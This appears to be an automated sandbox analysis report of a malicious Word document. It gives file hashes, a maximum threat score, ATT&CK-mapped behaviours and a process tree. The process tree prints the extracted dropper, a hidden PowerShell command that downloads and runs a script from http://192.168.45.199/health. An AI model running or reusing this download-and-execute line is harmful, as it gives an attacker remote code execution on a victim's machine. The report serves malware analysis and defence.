42e6ba1ea816c43320ae4eb3952059263348072339b75e9200a3914b510b044a

General

Target

42e6ba1ea816c43320ae4eb3952059263348072339b75e9200a3914b510b044a.doc
Size

32KB
MD5

bb54172287fd2b0e410c5028d561b185
SHA1

e805b5ed52dd4371c8c1fb8cf7458bc84a4a2630
SHA256

42e6ba1ea816c43320ae4eb3952059263348072339b75e9200a3914b510b044a
SHA512

05c8929310cc38a0f97b354c6ff4f1b19ae8f39f647d2cdf423dc397625c19f473e3e167dc956a25fead95f44d659444d917ac09b6e69af948aa2941c73ecaa7
SSDEEP

192:IxSNOlLZEvA+6/6r8px8SmvowzxT4rKVrWGlAtno5hdbeCdCicDlg0jT4V2Iwa:E8iS8px8SMDEyrjStuhdbXdCRlg0jEc

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://192.168.45.199/health

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2988	4508	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2988 powershell.exe

pid	process
2988	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2388 WINWORD.EXE
2388 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2988 powershell.exe
2988 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2988 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

2388 WINWORD.EXE
2388 WINWORD.EXE
2388 WINWORD.EXE
2388 WINWORD.EXE
2388 WINWORD.EXE
2388 WINWORD.EXE
2388 WINWORD.EXE

pid	process
2388	WINWORD.EXE
2388	WINWORD.EXE

pid	process
2988	powershell.exe
2988	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2988	powershell.exe

pid	process
2388	WINWORD.EXE
2388	WINWORD.EXE
2388	WINWORD.EXE
2388	WINWORD.EXE
2388	WINWORD.EXE
2388	WINWORD.EXE
2388	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\42e6ba1ea816c43320ae4eb3952059263348072339b75e9200a3914b510b044a.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2388

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.45.199/health'))
1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCDFD72.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sinry532.p12.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
5559716dccc695f3d5f3992fbc4cb131

SHA1
2d33de5d61e7099dad1e73d689ae3ccbc5645f84

SHA256
f496c03b0b87b33d91ae3eaef94f84d4bdbe1a374c81e9c175139510a06c78a1

SHA512
ae5a510c9efc8a7a3981a25e8780a53c4b54c1638d0ae7d9810c6215d6cc731b74d336ce987b8554238685e26f9220aec7c001da846faccd589ad218216c6642

Download Submit
memory/2388-7-0x00007FFC0C470000-0x00007FFC0C480000-memory.dmp

Filesize
64KB

Download
memory/2388-16-0x00007FFC0A200000-0x00007FFC0A210000-memory.dmp

Filesize
64KB

Download
memory/2388-6-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

Filesize
2.0MB

Download
memory/2388-4-0x00007FFC0C470000-0x00007FFC0C480000-memory.dmp

Filesize
64KB

Download
memory/2388-9-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

Filesize
2.0MB

Download
memory/2388-14-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

Filesize
2.0MB

Download
memory/2388-13-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

Filesize
2.0MB

Download
memory/2388-12-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

Filesize
2.0MB

Download
memory/2388-11-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

Filesize
2.0MB

Download
memory/2388-10-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

Filesize
2.0MB

Download
memory/2388-8-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

Filesize
2.0MB

Download
memory/2388-2-0x00007FFC0C470000-0x00007FFC0C480000-memory.dmp

Filesize
64KB

Download
memory/2388-15-0x00007FFC0A200000-0x00007FFC0A210000-memory.dmp

Filesize
64KB

Download
memory/2388-5-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

Filesize
2.0MB

Download
memory/2388-26-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

Filesize
2.0MB

Download
memory/2388-25-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

Filesize
2.0MB

Download
memory/2388-1-0x00007FFC0C470000-0x00007FFC0C480000-memory.dmp

Filesize
64KB

Download
memory/2388-0-0x00007FFC0C470000-0x00007FFC0C480000-memory.dmp

Filesize
64KB

Download
memory/2388-3-0x00007FFC4C48D000-0x00007FFC4C48E000-memory.dmp

Filesize
4KB

Download
memory/2388-46-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

Filesize
2.0MB

Download
memory/2388-47-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

Filesize
2.0MB

Download
memory/2988-33-0x00000192FC190000-0x00000192FC1B2000-memory.dmp

Filesize
136KB

Download
memory/2988-56-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

Filesize
2.0MB

Download
memory/2988-27-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

Filesize
2.0MB

Download
memory/2988-176-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads